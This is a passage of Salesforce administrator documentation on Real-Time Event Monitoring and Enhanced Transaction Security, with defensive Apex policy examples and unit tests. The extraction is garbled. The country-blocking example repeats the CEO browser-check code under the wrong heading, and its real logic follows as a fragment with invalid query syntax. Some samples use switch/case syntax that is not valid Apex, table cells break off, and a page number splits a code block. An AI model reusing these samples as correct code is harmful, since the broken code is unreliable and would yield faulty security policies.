- Who viewed what data and when
- Where data was accessed
- When a user makes a change to a record by using the UI
- Who is logging in and from where
- Who in your org is performing actions related to Platform Encryption administration
- Which admins logged in as another user and the actions the admin took as that user
- How long it takes a Lightning page to load

As a best practice, before creating transaction security policies, you can view or query events to determine appropriate thresholds for normal business usage.

IN THIS SECTION:

Real-Time Event Monitoring Definitions

Keep these terms in mind when working with Real-Time Event Monitoring.
Considerations for Using Real-Time Event Monitoring
Keep the following considerations in mind as you set up and use Real-Time Event Monitoring.

Enable Access to the Real-Time Event Monitoring
You can set user access to Real-Time Event Monitoring through profiles and permission sets.

Stream and Store Event Data
Explore how you can use the objects in Real-Time Event Monitoring to stream and store event data.

Enhanced Transaction Security Policy Enforcement
Create transaction security policies with Enhanced Transaction Security to monitor and control user activity. Before you build your policies, understand the available event types, policy conditions, and common use cases. Enhanced Transaction Security is included in Real-Time Event Monitoring.

SEE ALSO:
Salesforce Help: What’s the Difference Between the Salesforce Events?

Real-Time Event Monitoring Definitions
Keep these terms in mind when working with Real-Time Event Monitoring.

Event
An event is anything that happens in Salesforce, including user clicks, record state changes, and measuring values. Events are immutable and timestamped.

Event Channel
A stream of events on which an event producer sends event messages and event consumers read those messages.

Event Subscriber
A subscriber to a channel that receives messages from the channel. For example, a security app is notified of new report downloads.

Event Message
A message used to transmit data about the event.

Event Publisher
The publisher of an event message over a channel, such as a security and auditing app.
Considerations for Using Real-Time Event Monitoring

Keep the following considerations in mind as you set up and use Real-Time Event Monitoring.

**Salesforce Classic versus Lightning Experience**

Some events apply only to Salesforce Classic or Lightning Experience.

The following objects support only Salesforce Classic:

- URIEvent
- URIEventStream

The following object supports only Lightning Experience:

- LightningUriEvent
- LightningUriEventStream

**Enhanced Transaction Security**

- With Enhanced Transaction Security, you can create policies using either Condition Builder or Apex code.
- Enhanced Transaction Security policies support both standard and custom objects.
- Before you enable a Enhanced Transaction Security policy on an specific event, you must disable any legacy Transaction Security policies for that event.
- The two-factor authentication action isn’t available in the Salesforce app, Lightning Experience, or via API for any events. Instead, the block action is used. For example, if a two-factor authentication policy is triggered on a list view performed via the API, Salesforce blocks the API call.
- A value of 0 for the `RowsProcessed` field in an object (such as ApiEvent) indicates that a query was performed and nothing was returned. This scenario is possible if a user doesn’t have the correct permissions for a data row or the query doesn’t return results. In this case, the `QueriedEntities` field is empty.

**Recommended Usage of Event Objects**

Real-Time Event Monitoring objects have three primary uses: streaming data, storing data, and enforcing policies on data. But these uses don’t apply to all objects. Here’s guidance on which objects are available for each use case. For details, see Stream and Store Event Data.

<table>
<thead>
<tr>
<th>Streaming</th>
<th>Storage</th>
<th>Policy</th>
</tr>
</thead>
<tbody>
<tr>
<td>ApiEventStream</td>
<td>ApiEvent</td>
<td>ApiEvent</td>
</tr>
<tr>
<td>LightningUriEventStream</td>
<td>LightningUriEvent</td>
<td>n/a</td>
</tr>
<tr>
<td>ListViewEventStream</td>
<td>ListViewEvent</td>
<td>ListViewEvent</td>
</tr>
<tr>
<td>LoginAsEventStream</td>
<td>LoginAsEvent</td>
<td>n/a</td>
</tr>
<tr>
<td>LoginEventStream</td>
<td>LoginEvent</td>
<td>LoginEvent</td>
</tr>
<tr>
<td>LogoutEventStream</td>
<td>LogoutEvent</td>
<td>n/a</td>
</tr>
<tr>
<td>UriEventStream</td>
<td>UriEvent</td>
<td>n/a</td>
</tr>
</tbody>
</table>
Enable Access to the Real-Time Event Monitoring

You can set user access to Real-Time Event Monitoring through profiles and permission sets.

1. From Setup, do one of the following.
   - Enter Permission Sets in the Quick Find box, then select Permission Sets.
   - Enter Profiles in the Quick Find box, then select Profiles.

2. Select a permission set or profile.

3. Depending on whether you’re using permission sets or profiles, do one of the following.
   - In permission sets or the enhanced profile user interface, select a permission. In the Find Settings dialog box, enter View Data Leakage Detection Events. Click Edit, select the option, and click Save. Repeat these steps for the Customize Application permission.
   - In the original profile user interface, select a profile name, and then click Edit. Select View Data Leakage Detection Events, and Customize Application if you plan to create transaction security policies. Click Save.

Stream and Store Event Data

Explore how you can use the objects in Real-Time Event Monitoring to stream and store event data.

IN THIS SECTION:

Real-Time Event Monitoring Data Streaming
Use Real-Time Event Monitoring to subscribe to standard events published by Salesforce to monitor activity in your org. You can subscribe to this data from an external data system of your choice using a streaming API client.

Real-Time Event Monitoring Data Storage
With Real-Time Event Monitoring, you can store and query event data in Salesforce big objects. Salesforce big objects are ideal for storing large volumes of data for up to six months. A big object stores the data natively in Salesforce, so you can access it for reporting and other uses.
Real-Time Event Monitoring Data Streaming

Use Real-Time Event Monitoring to subscribe to standard events published by Salesforce to monitor activity in your org. You can subscribe to this data from an external data system of your choice using a streaming API client.

Data is streamed using a publish-subscribe model. Salesforce publishes streaming data to an event subscription channel, and your app subscribes, or listens, to the event channel to get the data close to real time. Streaming events are retained for up to three days. Real-Time Event Monitoring’s streaming events don’t count against your Platform Events delivery allocation. Some system protection limits apply.

Tip: To more efficiently obtain and process event data from three days ago or less, we recommend querying events from big objects instead of subscribing to past events in a stream.

Here are some examples.

<table>
<thead>
<tr>
<th>Event Object</th>
<th>Use Case</th>
<th>Considerations</th>
</tr>
</thead>
<tbody>
<tr>
<td>ApiEventStream</td>
<td>Detect when a user queries sensitive data, such as patent records.</td>
<td>Object is available only in Real-Time Event Monitoring.</td>
</tr>
<tr>
<td>LightningUriEventStream</td>
<td>Detect when a user creates, accesses, updates, or deletes a record containing sensitive data in Lightning Experience.</td>
<td>Object is available only in Real-Time Event Monitoring.</td>
</tr>
<tr>
<td>ListViewEventStream</td>
<td>Detect when a user accesses, updates, or exports list view data using Salesforce Classic, Lightning Experience, or the API.</td>
<td>Object is available only in Real-Time Event Monitoring.</td>
</tr>
<tr>
<td>LoginAsEventStream</td>
<td>Detect when a Salesforce admin logs in as another user and track the admin’s activities.</td>
<td>Object is available only in Real-Time Event Monitoring.</td>
</tr>
<tr>
<td>LoginEventStream</td>
<td>Detect when a user tries to log in under certain conditions—for example, from an unsupported browser or from an IP address that is outside of your corporate range.</td>
<td>Object is available only in Real-Time Event Monitoring.</td>
</tr>
<tr>
<td>LogoutEventStream</td>
<td>Detect when a user logs out of Salesforce by clicking Log Out in the Salesforce UI.</td>
<td>Object is available to all customers.</td>
</tr>
<tr>
<td>ReportEventStream</td>
<td>Detect when a user creates, runs, updates, or exports a report that contains sensitive data.</td>
<td>Object is available only in Real-Time Event Monitoring.</td>
</tr>
<tr>
<td>UriEventStream</td>
<td>Detect when a user creates, accesses, updates, or deletes a record containing sensitive data in Salesforce Classic.</td>
<td>Object is available only in Real-Time Event Monitoring.</td>
</tr>
</tbody>
</table>

For more information about building apps that listen to streaming data channels, see the Streaming API Developer Guide.
For a quick start about subscribing to streaming events using the EMP Connector open-source tool, see the Example: Subscribe to and Replay Events Using a Java Client (EMP Connector) in the Platform Events Developer Guide.

For reference documentation of the standard platform events and the corresponding big objects, see Real-Time Event Monitoring Objects in the Platform Events Developer Guide.

Real-Time Event Monitoring Data Storage

With Real-Time Event Monitoring, you can store and query event data in Salesforce big objects. Salesforce big objects are ideal for storing large volumes of data for up to six months. A big object stores the data natively in Salesforce, so you can access it for reporting and other uses.

Standard big objects are defined by Salesforce and are included in Salesforce products. Both standard and Async SQL queries are supported.

### Standard SOQL

You can query big objects using a subset of standard SOQL commands, filtering only by EventDate or EventIdentifier. Use SOQL if you know that your query returns a small amount of data, you don’t want to wait for the results, or you need the results returned immediately for use in Apex.

### Async SOQL

Async SOQL is a way to run SOQL queries when you need to filter on other fields besides EventDate and EventId. Async SQL schedules and runs queries asynchronously in the background, so it can run queries that normally time out with regular SOQL.

With Async SOQL, you can run multiple queries in the background while monitoring their completion status. Set up your queries and come back a few hours later to a dataset to work with. Async SOQL is the most efficient way to process the large amount of data in a big object. For more information, see Async SOQL in the Big Objects Implementation Guide.

Here are the events that are stored in big objects.

<table>
<thead>
<tr>
<th>Event Object</th>
<th>Use Case</th>
<th>Considerations</th>
</tr>
</thead>
<tbody>
<tr>
<td>ApiEvent</td>
<td>Store data about all API activity that occurred for particular objects during a fiscal year.</td>
<td>Object is available only in Real-Time Event Monitoring. Data is stored for up to six months.</td>
</tr>
<tr>
<td>LightningUriEvent</td>
<td>Store data about when entities are created, accessed, updated, or deleted in Lightning Experience.</td>
<td>Object is available only in Real-Time Event Monitoring. Data is stored for up to six months.</td>
</tr>
<tr>
<td>ListViewEvent</td>
<td>Store data about when users interact with a list of records, such as contacts, accounts, or custom objects.</td>
<td>Object is available only in Real-Time Event Monitoring. Data is stored for up to six months.</td>
</tr>
<tr>
<td>LoginAsEvent</td>
<td>Store data about when Salesforce admins log in as another user.</td>
<td>Object is available only in Real-Time Event Monitoring. Data is stored for up to six months.</td>
</tr>
<tr>
<td>LoginEvent</td>
<td>Store data about how many users tried to log in from an unknown IP address or location and who was blocked from successfully logging in.</td>
<td>Object is generally available outside Real-Time Event Monitoring. Data is stored for up to 10 years.</td>
</tr>
<tr>
<td>LogoutEvent</td>
<td>Store data about users who logged out successfully.</td>
<td>Object is available only in Real-Time Event Monitoring. Data is stored for up to six months.</td>
</tr>
<tr>
<td>ReportEvent</td>
<td>Store data about how many times a sensitive report was downloaded or viewed and by whom.</td>
<td>Object is available only in Real-Time Event Monitoring. Data is stored for up to six months.</td>
</tr>
</tbody>
</table>
# Enhanced Transaction Security Policy Enforcement

Create transaction security policies with Enhanced Transaction Security to monitor and control user activity. Before you build your policies, understand the available event types, policy conditions, and common use cases. Enhanced Transaction Security is included in Real-Time Event Monitoring.

## Condition Builder

Transaction security policies monitor events, which are categories of user activity built on objects in the SOAP, REST, and Bulk APIs. When you build your policy using Condition Builder, you choose which fields on these objects you want to monitor for customer activity. Because your policy’s actions are conditional to the fields that users interact with, these fields are called **conditions**. When you create a policy, you choose the conditions you want your policy to monitor.

The conditions available in Condition Builder are a subset of all the event objects fields and vary based on the objects. If you create an Apex-based policy, you can use any of the event object’s fields. For example, Records isn’t available as a Condition Builder condition for the ReportEvent event object. But you can use the `ReportEvent.Records` field in an Apex class that implements the `TxnSecurity.EventCondition` interface.

## Conditions at a Glance

<table>
<thead>
<tr>
<th>Event Object</th>
<th>Conditions Available in Condition Builder</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td>ApiEvent</td>
<td>API Type, API Version, Application, Client, Elapsed Time, Operation, Platform, Queried Entities, Query, Rows Processed, Session Level, Source IP, User Agent, User ID, Username</td>
<td>Block, Notifications</td>
</tr>
<tr>
<td>ListViewEvent</td>
<td>Application Name, Developer Name, Event Source, List View ID, Name, Name of Columns, Number of Columns, Order By, Owner ID, Queried Entities, Rows Processed, Scope, Session Level, Source IP, User ID, Username</td>
<td>Block, Notifications, Two-Factor Authentication (for UI logins)</td>
</tr>
<tr>
<td>LoginEvent</td>
<td>API Type, API Version, Application, Browser, Country, Login URL, Platform, Session Level, Source IP, TLS Protocol, User ID, User Type, Username</td>
<td>Block, Notifications, Two-Factor Authentication (for UI logins)</td>
</tr>
</tbody>
</table>
IN THIS SECTION:

**ApiEvent Policies**
API events monitor API transactions, such as SOQL queries and data exports.

**ListViewEvent Policies**
List View event policies monitor when data is viewed or downloaded from your list views using Salesforce Classic, Lightning Experience, or the API.

**LoginEvent Policies**
Login event policies track login activity and enforce your org’s login requirements.

**ReportEvent Policies**
Report event policies monitor when data is viewed or downloaded from your reports.

**Build a Transaction Security Policy with Condition Builder**
Create a transaction security policy without writing a line of code. Condition Builder, available in Real-Time Event Monitoring, gives you a declarative way to create customized security policies to protect your data.

**Create a Transaction Security Policy That Uses Apex**
Use Setup to create an enhanced transaction security policy that uses Apex. You can specify an existing Apex class or create an empty class that you then code. The Apex class must implement the `TxnSecurity.EventCondition` interface.

**Migrate Legacy Policies to the Enhanced Transaction Security Framework**
The enhanced transaction security framework makes it easy to create policies that are more useful than policies created with of the legacy framework. You can migrate your legacy policies to the new framework.
ApiEvent Policies

API events monitor API transactions, such as SOQL queries and data exports.

Policy at a Glance

<table>
<thead>
<tr>
<th>Object</th>
<th>Conditions Available in Condition Builder</th>
<th>Actions</th>
<th>Considerations</th>
</tr>
</thead>
<tbody>
<tr>
<td>ApiEvent</td>
<td>API Type, API Version, Application, Client, Elapsed Time, Operation, Platform, Queried Entities, Query, Rows Processed, Session Level, Source IP, User Agent, User ID, Username</td>
<td>Block, Notifications</td>
<td>Two-factor authentication policies aren’t supported.</td>
</tr>
</tbody>
</table>

What You Can Do with It

You can monitor user behaviors taken through the API on a granular level. Create a policy that can:

- Block access to particular versions of the API from specific platforms
- Notify you when users run queries that return many rows

Considerations for ApiEvent Policies

- The supported SOAP, REST, and Bulk API calls are `query()`, `query_more()`, and `query_all()`. Transaction Security supports only `query()`. API calls made from Visualforce (via an Apex controller) or XMLRPC aren’t supported in ApiEvent and ApiEventStream.
- For Bulk API queries, expect blank values for `LoginHistoryId`, `Client`, and `UserAgent` in ApiEvent. These queries are asynchronous and executed by a background job.
ListViewEvent Policies

ListView event policies monitor when data is viewed or downloaded from your list views using Salesforce Classic, Lightning Experience, or the API.

Policy at a Glance

<table>
<thead>
<tr>
<th>Object</th>
<th>Conditions Available in Condition Builder</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td>ListViewEvent</td>
<td>Application Name, Developer Name, Event Source, List View ID, Name, Name of Columns, Number of Columns, Order By, Owner ID, Queried Entities, Rows Processed, Scope, Session Level, Source IP, User ID, Username</td>
<td>Block, Notifications, Two-Factor Authentication (for UI logins)</td>
</tr>
</tbody>
</table>

What You Can Do with It

Create a policy that can:

- Block a user who tries to access a list view of sensitive patent data
- Notify you if a user exports more than 5,000 rows from a list view in your org

LoginEvent Policies

Login event policies track login activity and enforce your org’s login requirements.

Policy at a Glance

<table>
<thead>
<tr>
<th>Object</th>
<th>Conditions Available in Condition Builder</th>
<th>Actions</th>
<th>Considerations</th>
</tr>
</thead>
</table>
| LoginEvent     | API Type, API Version, Application, Browser, Country, Login URL, Platform, Session Level, Source IP, TLS Protocol, User ID, User Type, Username | Block, Notifications, Two-Factor Authentication (for UI logins) | - UI logins with username and password, SAML single sign-on logins, and API-based logins (OAuth, REST, SOAP) are captured.  
- Two-factor authentication challenges for
What You Can Do with It

You can target specific login behaviors that reduce performance or pose a security risk. Create a policy that can:

- Block users who log in from certain locations
- Require two-factor authentication for users logging in from unsupported browsers
- Monitor logins from specific applications

How Does LoginEvent Compare to Login Log Lines and Login History?

<table>
<thead>
<tr>
<th>Feature</th>
<th>LoginEvent (Login Forensics)</th>
<th>Login Log Lines</th>
<th>Login History</th>
</tr>
</thead>
<tbody>
<tr>
<td>Standard Object or File</td>
<td>LoginEvent</td>
<td>EventLogFile (Login event type)</td>
<td>LoginHistory</td>
</tr>
<tr>
<td>Data Duration Until Deleted</td>
<td>6 months</td>
<td>30 days</td>
<td>6 months</td>
</tr>
<tr>
<td>Access</td>
<td>API</td>
<td>API download, Event Monitoring Analytics app</td>
<td>Setup UI, API</td>
</tr>
<tr>
<td>Permissions</td>
<td>View Login Forensics Events</td>
<td>View Event Log Files</td>
<td>Manage Users</td>
</tr>
<tr>
<td>Extensibility</td>
<td>Yes, using the AdditionalInfo field</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>Availability</td>
<td>Included with Event Monitoring add-on</td>
<td>Included with Event Monitoring add-on</td>
<td>Included with all orgs</td>
</tr>
</tbody>
</table>

ReportEvent Policies

Report event policies monitor when data is viewed or downloaded from your reports.

Policy at a Glance

<table>
<thead>
<tr>
<th>Object</th>
<th>Conditions Available in Condition Builder</th>
<th>Actions</th>
<th>Considerations</th>
</tr>
</thead>
</table>
| ReportEvent | Dashboard ID, Dashboard Name, Description, Event Source, Format, Is Scheduled, Name, Name of Columns, Number of Columns, | Block, Notifications, Two-Factor Authentication (for UI logins) | Two-factor authentication policies apply to the following UI-based report actions:
|             |                                           |         | • Printable View                                    |
What You Can Do with It
Create a policy that can:

- Require two-factor authentication for all users accessing or downloading reports over a specific size. For maximum coverage, write a policy that notifies you and blocks access to reports that process more than a certain number of rows.
- Block downloads for specific user IDs, report IDs, and dashboard IDs.

Build a Transaction Security Policy with Condition Builder
Create a transaction security policy without writing a line of code. Condition Builder, available in Real-Time Event Monitoring, gives you a declarative way to create customized security policies to protect your data.

You can create multiple policies for the same type of event, but we recommend that your policies and their actions don’t overlap. If multiple policies with the same action for a given event execute when the event occurs, their order of execution is indeterminate.

1. From Setup, in the Quick Find box, enter Transaction Security, and then select Transaction Security Policies.
2. Click New, and then select Condition Builder.
3. Click Next.
4. Select an event, your condition logic, and your conditions.
5. Click Next.
6. Select what the policy does when triggered.
The actions available vary depending on the event type. For more information, see What Are Transaction Security Actions?

Note: The two-factor authentication action isn’t available in the Salesforce app, Lightning Experience, or via API for any events. Instead, the block action is used. For example, if a two-factor authentication policy is triggered on a list view performed via the API, Salesforce blocks the API user.

7. Select who is notified and how.
   The users you select must have Modify All Data and View Setup permissions.

8. Enter a name and description for your policy.
   Your policy name can contain only underscores and alphanumeric characters and must be unique in your org. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.

9. Optionally, enable the policy.

10. Click Finish.

Important
If you customize a Condition Builder policy with the API, you must include the Flow ID (for flow API), EventName, and Type of CustomConditionBuilderPolicy to save your policy.

Create a Transaction Security Policy That Uses Apex

Use Setup to create an enhanced transaction security policy that uses Apex. You can specify an existing Apex class or create an empty class that you then code. The Apex class must implement the TxnSecurity.EventCondition interface.

You can create multiple policies for the same type of event, but we recommend that your policies and their actions don’t overlap. If multiple policies with the same action for a given event execute when the event occurs, their order of execution is indeterminate.

1. From Setup, in the Quick Find box, enter Transaction Security, and then select Transaction Security Policies.

2. Click New, and then select Apex.

3. Click Next.

4. Select Enhanced Transaction Security Policy, and choose an event type.
   Note: Don’t select Transaction Security Policy, which creates policies that use the legacy framework, which is being retired.

5. Select the Apex class that implements your policy. If you haven’t already created the class, select New Empty Apex Class.

6. Click Next.

7. Select the action that the policy performs when triggered.
   The available actions vary depending on the event type. For more information, see What Are Transaction Security Actions?.
   Note: The two-factor authentication action isn’t available in the Salesforce app, Lightning Experience, or via API for events. Instead, the block action is used. For example, if a two-factor authentication policy is triggered on a list view performed via the API, Salesforce blocks the API user.
8. Select who is notified and how.
   The users you select must have Modify All Data and View Setup permissions.

9. Enter a name and description for your policy.
   Your policy name can contain only underscores and alphanumeric characters and must be unique in your org. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.

10. Optionally enable the policy.
    If you chose to create an Apex class, don’t enable the policy yet because you must first add code to the class.

11. Click Finish.
    Your new policy appears in the Policies table. If you chose to create an Apex class, its name is the name of your policy appended with the `EventCondition` string, such as `MyApexClassEventCondition`. The class is listed in the Apex Condition column.

12. Click the name of your Apex class if you want to edit it.
    If you chose to create an Apex class, you must add the implementation code. Salesforce adds this basic code to get you started.

    ```java
    global class MyApexClassEventCondition implements TxnSecurity.EventCondition {
        public boolean evaluate(SObject event) {
            return false;
        }
    }
    ```

    When you delete a transaction security policy that uses Apex, the implementation class isn’t deleted. You can either delete this Apex class separately or reuse it in another policy.

IN THIS SECTION:
- **Enhanced Apex Transaction Security Implementation Examples**
  Here are examples of implementing enhanced Apex transaction security.
- **Enhanced Transaction Security Apex Testing**
  Writing robust tests is an engineering best practice to ensure that your code does what you expect and to find errors before your users and customers do. It’s even more important to write tests for your transaction security policy’s Apex code because it executes during critical user actions in your Salesforce org. For example, a bug in your LoginEvent policy that’s not caught during testing can result in locking your users out of your org, a situation best avoided.

SEE ALSO:
Enhanced Apex Transaction Security Implementation Examples

Here are examples of implementing enhanced Apex transaction security.

Login from Different IP Addresses
This example implements a policy that triggers when someone logs in from a different IP address in the past 24 hours.

global class MultipleLoginEventCondition implements TxnSecurity.EventCondition {
    public boolean evaluate(SObject event) {
        switch on event{
            when LoginEvent loginEvent {
                return evaluate(loginEvent);
            }
            when null {
                return false;
            }
            when else{
                return false;
            }
        }
    }
    private boolean evaluate(LoginEvent loginEvent) {
        AggregateResult[] results = [SELECT SourceIp
            FROM LoginHistory
            WHERE UserId = :loginEvent.UserId
            AND LoginTime = LAST_N_DAYS:1
            GROUP BY SourceIp];
        if(results.isEmpty()) {
            return true;
        }
        return false;
    }
}

Logins from a Specific IP Address
This example implements a policy that triggers when a session is created from a specific IP address.

global class SourceIpEventCondition implements TxnSecurity.EventCondition {
    public boolean evaluate(SObject event) {
        switch on event{
            when SourceIp...

256
when LoginEvent loginEvent {
    return evaluate(loginEvent);
}
when null {
    return false;
}
when else{
    return false;
}
}

private boolean evaluate(LoginEvent loginEvent) {
    if (loginEvent.SourceIp.equals('1.1.1.1')) {
        return true;
    }
    return false;
}

Data Export

This example implements a transaction security policy that triggers when more than 2,000 leads are either:

- Viewed in the UI
- Exported with a SOQL query
- Exported from a list view
- Exported from a report

global class LeadViewAndExportCondition implements TxnSecurity.EventCondition {
    public boolean evaluate(SObject event) {
        switch on event{
            when ApiEvent apiEvent {
                return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);
            }
            when ReportEvent reportEvent {
                return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
            }
            when ListViewEvent listViewEvent {
                return evaluate(listViewEvent.QueriedEntities, listViewEvent.RowsProcessed);
            }
            when null {
                return false;
            }
            when else{
                return false;
            }
        }
    }
    private boolean evaluate(String queriedEntities, Decimal rowsProcessed){
        if(queriedEntities.contains('Lead') && rowsProcessed > 2000){
            return true;
        }
        return false;
    }
}
Confidential Data Access

This policy requires everyone to use two-factor authentication before accessing a specific report.

You can have sensitive, confidential data in your quarterly Salesforce reports. You also want to ensure that teams accessing the reports use two-factor authentication (2FA) for high assurance before viewing this data. The policy makes 2FA a requirement, but you can’t provide high-assurance sessions without your teams having a way to meet the 2FA requirements. As a prerequisite, first set up 2FA in your Salesforce environment.

This example highlights the capability of a policy to enforce 2FA for a specific report. The report defined here is any report with "Quarterly Report" in its name. Anyone accessing the report is required to have a high-assurance session using 2FA.

```java
global class ConfidentialDataEventCondition implements TxnSecurity.EventCondition {
    public boolean evaluate(SObject event) {
        switch on event {
            when ReportEvent reportEvent {
                return evaluate(reportEvent);
            }
            when null {
                return false;
            }
            when else {
                return false;
            }
        }
    }

    private boolean evaluate(ReportEvent reportEvent) {
        // Check if this is a quarterly report.
        if (reportEvent.Name.contains('Quarterly Report')) {
            return true;
        }
        return false;
    }
}
```

Browser Check

This policy triggers when a user with a known operating system and browser combination tries to log in with another browser on a different operating system.

Many organizations have standard hardware and support specific versions of different browsers. You can use this standard to reduce the security risk for high-impact individuals by acting when logins take place from unusual devices. For example, your CEO typically logs in to Salesforce from San Francisco using a MacBook or Salesforce mobile application on an iPhone. When a login occurs from elsewhere using a Chromebook, it’s highly suspicious. Because hackers do not necessarily know which platforms corporate executives use, this policy makes a security breach less likely.
In this example, the customer organization knows that its CEO uses a MacBook running OS X with the Safari browser. An attempt to log in using the CEO’s credentials with anything else is automatically blocked.

```java
public class AccessEventCondition implements TxnSecurity.EventCondition {
    public boolean evaluate(SObject event) {
        switch (event) {
            case LoginEvent loginEvent:
                return evaluate(loginEvent);
            case null:
                return false;
            default:
                return false;
        }
    }

    private boolean evaluate(LoginEvent loginEvent) {
        // If it's a Login attempt from our CEO's user account.
        if (loginEvent.UserId == '005x0000005VmCu') {
            // The policy is triggered when the CEO isn’t using Safari on Mac OS X.
            if (!loginEvent.Platform.contains('Mac OS X') || !loginEvent.Browser.contains('Safari')) {
                return true;
            }
        }
        return false;
    }
}
```

**Block Logins by Country**

This policy blocks access by country.

Your organization could have remote offices and a global presence but, due to international law, wants to restrict access to its Salesforce org.

This example builds a policy that blocks users logging in from North Korea. If users are in North Korea and using a corporate VPN, their VPN gateway would be in Singapore or the United States. They can log in successfully because Salesforce recognizes the VPN gateway and the internal U.S.-based company IP address.

```java
public class CountryEventCondition implements TxnSecurity.EventCondition {
    public boolean evaluate(SObject event) {
        switch (event) {
            case LoginEvent loginEvent:
                return evaluate(loginEvent);
            case null:
                return false;
            default:
                return false;
        }
    }

    private boolean evaluate(LoginEvent loginEvent) {
        // If it's a Login attempt from our CEO's user account.
        if (loginEvent.UserId == '005x0000005VmCu') {
            // The policy is triggered when the CEO isn’t using Safari on Mac OS X.
            if (!loginEvent.Platform.contains('Mac OS X') || !loginEvent.Browser.contains('Safari')) {
                return true;
            }
        }
        return false;
    }
}
```
private boolean evaluate(LoginEvent loginEvent) {
    // Get the login's geographical info.
    LoginGeo loginGeo = LoginGeo
            .where(Id.value == :loginEvent.LoginGeoId); // Get the country at that location.
    String country = String.valueOf(loginGeo.Country);

    // Trigger policy and block access for any user trying to log in from North Korea.
    if (country.equals('North Korea')) {
        return true;
    }
    return false;
}

You can also restrict access to other values, like postal code or city.

Block an Operating System

This policy blocks access for anyone using an older version of the Android OS.

You’re concerned about a specific mobile platform’s vulnerabilities and its ability to capture screen shots and read data while accessing Salesforce. If the device is not running a security client, you could restrict access from device platforms that use operating systems with known vulnerabilities. This policy blocks devices using Android 5.0 and earlier.

global class AndroidEventCondition implements TxnSecurity.EventCondition {
    public boolean evaluate(SObject event) {
        switch on event{
            when LoginEvent loginEvent {
                return evaluate(loginEvent);
            }
            when null {
                return false;
            }
            when else{
                return false;
            }
        }
    }

    private boolean evaluate(LoginEvent loginEvent) {
        String platform = loginEvent.Platform;
        // Block access from Android versions less than 5
        if (platform.contains('Android') && platform.compareTo('Android 5') < 0) {
            return true;
        }
        return false;
    }
}
Enhanced Transaction Security Apex Testing

Writing robust tests is an engineering best practice to ensure that your code does what you expect and to find errors before your users and customers do. It’s even more important to write tests for your transaction security policy’s Apex code because it executes during critical user actions in your Salesforce org. For example, a bug in your LoginEvent policy that’s not caught during testing can result in locking your users out of your org, a situation best avoided.

⚠️ Warning: Use API version 47.0 or later when writing Apex tests for enhanced transaction security policies.

When you test your Apex code by simulating a set of conditions, you are by definition writing unit tests. But writing unit tests isn’t enough. Work with your business and security teams to understand all your use cases. Then create a comprehensive test plan that mimics your actual users’ experience using test data in a sandbox environment. The test plan typically includes both manual testing and automated testing using external tools such as Selenium.

Let’s look at some sample unit tests to get you started. Here’s the Apex policy that we want to test.

global class LeadExportEventCondition implements TxnSecurity.EventCondition {
    public boolean evaluate(SObject event) {
        switch on event{
            when ApiEvent apiEvent {
                return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);
            }
            when ReportEvent reportEvent {
                return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
            }
            when ListViewEvent listViewEvent {
                return evaluate(listViewEvent.QueriedEntities, listViewEvent.RowsProcessed);
            }
            when null {
                return false;
            }
            when else {
                return false;
            }
        }
    }

    private boolean evaluate(String queriedEntities, Decimal rowsProcessed) {
        if (queriedEntities.contains('Lead') & rowsProcessed > 2000) {
            return true;
        }
        return false;
    }
}
Plan and Write Tests

Before we start writing tests, let’s outline the positive and negative use cases that our test plan covers.

### Table 3: Positive Test Cases

<table>
<thead>
<tr>
<th>If the <code>evaluate</code> method receives...</th>
<th>And ...</th>
<th>Then the <code>evaluate</code> method returns...</th>
</tr>
</thead>
<tbody>
<tr>
<td>An ApiEvent object</td>
<td>The ApiEvent has Lead in its QueriedEntities field and a number greater than 2000 in its RowsProcessed field</td>
<td>true</td>
</tr>
<tr>
<td>A ReportEvent object</td>
<td>The ReportEvent has Lead in its QueriedEntities field and a number greater than 2000 in its RowsProcessed field</td>
<td>true</td>
</tr>
<tr>
<td>A ListViewEvent object</td>
<td>The ListViewEvent has Lead in its QueriedEntities field and a number greater than 2000 in its RowsProcessed field</td>
<td>true</td>
</tr>
<tr>
<td>Any event object</td>
<td>The event doesn’t have Lead in its QueriedEntities field and has a number greater than 2000 in its RowsProcessed field</td>
<td>false</td>
</tr>
<tr>
<td>Any event object</td>
<td>The event has Lead in its QueriedEntities field and has a number less than or equal to 2000 in its RowsProcessed field</td>
<td>false</td>
</tr>
<tr>
<td>Any event object</td>
<td>The event doesn’t have Lead in its QueriedEntities field and has a number less than or equal to 2000 in its RowsProcessed field</td>
<td>false</td>
</tr>
</tbody>
</table>

### Table 4: Negative Test Cases

<table>
<thead>
<tr>
<th>If the <code>evaluate</code> method receives...</th>
<th>And ...</th>
<th>Then the <code>evaluate</code> method returns...</th>
</tr>
</thead>
<tbody>
<tr>
<td>A LoginEvent object</td>
<td>(no condition)</td>
<td>false</td>
</tr>
<tr>
<td>A null value</td>
<td>(no condition)</td>
<td>false</td>
</tr>
<tr>
<td>An ApiEvent object</td>
<td>The QueriedEntities field is null</td>
<td>false</td>
</tr>
<tr>
<td>A ReportEvent object</td>
<td>The RowsProcessed field is null</td>
<td>false</td>
</tr>
</tbody>
</table>
Here's the Apex testing code that implements all of these use cases.

```apex
public class LeadExportEventConditionTest {

    /**
     * ------------ POSITIVE TEST CASES ------------
     *
     * Positive test case 1: If an ApiEvent has Lead as a queried entity and more than
     * 2000 rows processed, then the evaluate method of our policy's Apex should return true.
     **/
    static testMethod void testApiEventPositiveTestCase() {
        // set up our event and its field values
        ApiEvent testEvent = new ApiEvent();
        testEvent.QueriedEntities = 'Account, Lead';
        testEvent.RowsProcessed = 2001;

        // test that the Apex returns true for this event
        LeadExportEventCondition eventCondition = new LeadExportEventCondition();
        System.assert(eventCondition.evaluate(testEvent));
    }

    /**
     * Positive test case 2: If a ReportEvent has Lead as a queried entity and more than
     * 2000 rows processed, then the evaluate method of our policy's Apex should return true.
     **/
    static testMethod void testReportEventPositiveTestCase() {
        // set up our event and its field values
        ReportEvent testEvent = new ReportEvent();
        testEvent.QueriedEntities = 'Account, Lead';
        testEvent.RowsProcessed = 2001;

        // test that the Apex returns true for this event
        LeadExportEventCondition eventCondition = new LeadExportEventCondition();
        System.assert(eventCondition.evaluate(testEvent));
    }

    /**
